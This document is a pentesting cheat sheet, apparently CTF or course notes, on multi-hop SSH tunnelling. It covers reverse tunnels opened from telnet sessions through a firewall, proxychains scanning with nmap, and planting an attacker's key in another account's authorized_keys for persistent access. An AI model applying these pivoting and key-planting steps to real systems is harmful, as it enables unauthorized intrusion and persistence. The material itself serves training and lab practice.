SSH

Notes

-L always attaches the tunnel to a port from the box that the command is run.

Example:

ssh user@host1 -L 12345:host1:22

Authenticate to host1, giving you access to host1's ports.

Create tunnel to host1's port 22 from the attacker port 12345.

Local (-L) Tunnel All The Way

  1. Create dynamic tunnel to .21.1's port 22.

ssh [email protected] -D 9050 -NT

  1. Set local port 11111 to tunnel to .1.2's port 22

ssh [email protected] -L 11111:10.1.1.2:22 -NT

  1. Make the local port 11111 a dynamic tunnel to port 22 on the .1.2 (The internal side)

ssh secondhop_user@localhost -p 11111 -D 9050 -NT

  1. Using the dynamic tunnel in local port 11111, reach through the .1.2 to reach the next hop, .1.99's port 22.

ssh secondhop_user@localhost -p 11111 -L 22222:192.168.1.99:22 -NT

  1. Make local port 22222 a dynamic port and authenticate to 1.99's port 22. From here you can keep going.

ssh thirdhop@localhost -p 22222 -D 9050 -NT

Reverse (-R) Tunnel to 1st Hop

  1. Firewall is blocking port 22 on the First Hop. Telnet is open. Use that to gain access, then ssh back to the Attack Box.

telnet 10.30.20.1

1a. From the First Hop TELNET session, setup a Reverse tunnel to the attackers port 11111 that reaches back to First Hop's port 22.

This reverse tunnel is reaching through the firewall back to the attacker, opening a tunnel to the First Hop's port 22.

This tunnel is connected to First Hop's port 22 but an SSH session has not yet been created.

ssh [email protected] -R 11111:localhost:22 -NT

  1. Authenticate and connect to the local port 11111 which is connected to port 22 on First Hop.

Creates a dynamic tunnel through the firewall to port 22 on First Hop.

ssh firsthop_user@localhost -p 11111 -D 9050 -NT

  1. Use dynamic tunnel on local port 11111 to reach through the First Hop and reach Second Hop's port 22. Attach that tunnel to local port 22222.

ssh firsthop_user@localhost -p 11111 -L 22222:10.1.1.2:22 -NT

  1. Make local port 22222 tunnel dynamic and create SSH session to Second Hop.

ssh secondhop_user@localhost -p 22222 -D 9050 -NT

  1. Use local port 22222 tunnel to reach Third Hop's port 22. Attach that tunnel to port 33333.

ssh secondhop_user@localhost -p 22222 -L 33333:192.168.1.99:22 -NT

  1. Make local port 33333 tunnel dynamic and create SSH session to Third Hop.

ssh thirdhop_user@localhost -p 33333 -D 9050 -NT

Reverse (-R) Tunnel to 2nd Hop

  1. Create tunnel and SSH session to First Hop's port 22.

ssh [email protected] -D 9050 -NT

  1. Create tunnel from attackers localport 11111 through First Hop's port 22 to Second Hop's port 23 (TELNET).

ssh [email protected] -L 11111:10.1.1.2:23 -NT

  1. Telnet to Second Hop's port 23 through the tunnel on local 11111.

telnet localhost 11111

3a. From Telnet Session on Second Hop, create an SSH session back to the First Hop's SSH port and attach a reverse tunnel to First Hop's port 22222 that connects to Second Hop's port 22.

ssh [email protected] -R 22222:localhost:22 -NT

  1. Create a tunnel from Attacker's port 33333 that connects to First Hop's port 22222, which is connected to Second Hop's port 22.

ssh [email protected] -L 33333:localhost:22222 -NT

  1. Using local port 33333, create a dynamic tunnel and SSH session to Second Hop's port 22.

ssh secondhop_user@localhost -p 33333 -D 9050 -NT

  1. Using local port 33333, create a local tunnel to Third Hop's port 22 and attach it to local port 44444.

ssh secondhop_user@localhost -p 33333 -L 44444:192.168.1.99:22 -NT

  1. Using local port 44444, create a dynamic tunnel and SSH session to Third Hop's port 22.

ssh thirdhop_user@localhost -p 44444 -D 9050 -NT

Reverse (-R) Tunnel to 3rd Hop

  1. SSH dynamic tunnel to First Hop's port 22.

ssh [email protected] -D 9050 -NT

  1. Local tunnel from Attacker's local port 11111 through First Hop's port 22 to Second Hop's port 22.

ssh [email protected] -L 11111:10.1.1.2:22 -NT

  1. Using local port 11111, create dynamic tunnel and SSH session to Second Hop's port 22.

ssh secondhop_user@localhost -p 11111 -D 9050 -NT

  1. Using Attacker's local port 11111 create a tunnel to Third Hop's port 23 and attach it to Attacker's local port 22222.

ssh secondhop_user@localhost -p 11111 -L 22222:192.168.1.99:23 -NT

  1. Using Attacker's local port 22222 create TELNET session to Third Hop.

telnet localhost 22222

5a. From the TELNET session from the Third Hop, create a reverse tunnel that connects Second Hop's port 33333 to Third Hop's port 22.

ssh [email protected] -R 33333:localhost:22 -NT

  1. From Attacker's local port 11111 (which is a tunnel to Second Hop's port 22) create a tunnel to Second Hop's port 33333 (which is the Reverse tunnel that connects to Third Hop's port 22) and attach it to Attacker's local port 44444.

ssh secondhop_user@localhost -p 11111 -L 44444:localhost:33333 -NT

  1. Using Attacker's local port 44444 which is a tunnel all the way through the firewall to Third Hop, create a dynamic tunnel and an SSH session to Third Hop.

ssh thirdhop_user@localhost -p 44444 -D 9050 -NT

Proxychains

When you setup the Dynamic -D tunnel, it allows you to run proxychains and execute commands from the connected host.

Proxychains explicitly allows TCP and DNS (by allowing DNS, it inherently also allows UDP, since DNS uses both).

This means ping does not work over proxychains because it uses ICMP.

Proxychains can run local scripts as if they were on the connected computer.

In the above tunneling examples, each time a new hop was accessed, that tunnel was converted to a dynamic tunnel. At that point, you can run any of the following as if it was coming from the connected device:

proxychains ./script.sh
proxychains nmap -Pn -sT 3.3.3.3/24 -p 21-23,80,1024-65535
proxychains ssh [email protected]
proxychains ftp 3.3.3.3
proxychains wget -r http://3.3.3.3
proxychains wget -r ftp://3.3.3.3
proxychains curl http://3.3.3.3
proxychains curl ftp://3.3.3.3

SSH Key Upload

SSH Key Setup

  1. Generate keys. When prompted for location to save just press enter to leave default, can do the same for password.

ssh-keygen -t rsa

  1. After generating ssh key look for public key in your .ssh folder. Your public key will have .pub as the extension

cat ~/.ssh/id_rsa.pub

The entire output is your public key, make sure when uploading you copy everything.

Uploading SSH Key

Pave the way to upload your key:

  1. Find out what account is running the web sever/commands.

` whoami

  1. Locate user's home dir in /etc/passwd. Make sure the user has a login shell.

  2. Check home dir for .ssh dir. If it's not there, make it.

ls -la /users/home/dir
mkdir /users/home/dir/.ssh

  1. Echo ssh key to the authorized_keys file in the users .ssh folder.

` echo "your_public_key">> /users/home/dir/.ssh/authorized_keys

  1. Verify key has been uploaded successfully.

` cat /users/home/dir/.ssh/authorized_keys

Now you can login as whoever's account you planted the key. If prompted for a password something went wrong.

Using SSH Keys

Using SSH Keys:

Bring private key to localhost

On your box:

chmod 600 /home/user/key
ssh -i /home/user/key [email protected]

Immediately Run Commands Upon Login

You can run commands immediately on login using the commands below.

These were used in a challenge to defeat a script in the .bashrc file that immediately logged me out of ssh session.

ssh [email protected] 'vim ~/.bashrc; exec bash -l'
ssh [email protected] 'ls -lisa; exec bash -l'
ssh [email protected] 'cat readme; exec bash -l'
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